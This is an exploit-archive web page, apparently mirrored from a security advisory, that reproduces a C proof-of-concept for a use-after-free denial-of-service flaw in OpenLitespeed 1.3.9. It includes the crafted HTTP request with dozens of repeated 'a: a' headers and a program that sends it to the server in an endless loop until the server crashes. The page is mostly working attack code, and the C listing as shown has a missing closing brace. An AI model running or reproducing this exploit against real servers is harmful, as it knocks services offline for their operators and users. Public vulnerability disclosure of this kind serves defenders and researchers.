首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenLitespeed 1.3.9 - Use After Free (DoS)
来源:Security-Assessment.com 作者:Andzakovic 发布时间:2015-05-22  
/*
*   Openlitespeed 1.3.9 Use After Free denial of service exploit.
*
*   This exploit triggers a denial of service condition within the Openlitespeed web 
*   server. This is achieved by sending a tampered request contain a large number (91)
*   of 'a: a' header rows. By looping this request, a memmove call within the HttpReq
*   class is triggered with a freed pointer, resulting in a reference to an invalid
*   memory location and thus a segmentation fault.
*
*   UAF Request:
*   GET / HTTP/1.0
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   a: a
*   
*   The above request should be placed into a file name 'uafcrash' prior to running this
*   exploit code.
*
*   Date: 24/03/2015
*   Author: Denis Andzakovic - Security-Assessment.com
*
*/
   
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
   
extern int errno;
   
int main(int argc, char ** argv){
    FILE * fp;
    size_t len = 0;
    char * line;
    if((fp = fopen("uafcrash", "r")) == NULL){
        fprintf(stderr, "[!] Error: Could not open file uafcrash: %s", strerror(errno));
        return 1;
    }
   
    char * host = "127.0.0.1";
    int port = 8088;
    int count = 0; 
    int sock;
    struct sockaddr_in serv_addr;
    while(1){
        if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
            fprintf(stderr, "[!] Error: Could not create socket \n");
            return 1;
        
   
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(port);
        inet_pton(AF_INET, host, &serv_addr.sin_addr);
   
        if(connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0){
            fprintf(stderr, "[!] Error: Could not connect! Check for server crash! Total cases sent:%d\n", count);
            close(sock);
            return 1;
        }
        while ((getline(&line, &len, fp)) != -1){
   
            write(sock, line, strlen(line));
        }
   
        close(sock);
        rewind(fp);
        count++;
    }
   
    return 42;
}
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·QEMU - Floppy Disk Controller
·ZOC SSH Client Buffer Overflow
·Phoenix Contact ILC 150 ETH PL
·Fuse - Local Privilege Escalat
·Windows - CNG.SYS Kernel Secur
·Lenovo System Update Privilege
·Microsoft Windows - Local Priv
·Samba 3.0.37 EnumPrinters 堆内
·ElasticSearch 1.4.5 / 1.5.2 -
·FTP Media Server 3.0 - Authent
·Windows 8.0 - 8.1 x64 TrackPop
·Apache Jackrabbit WebDAV XXE E
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved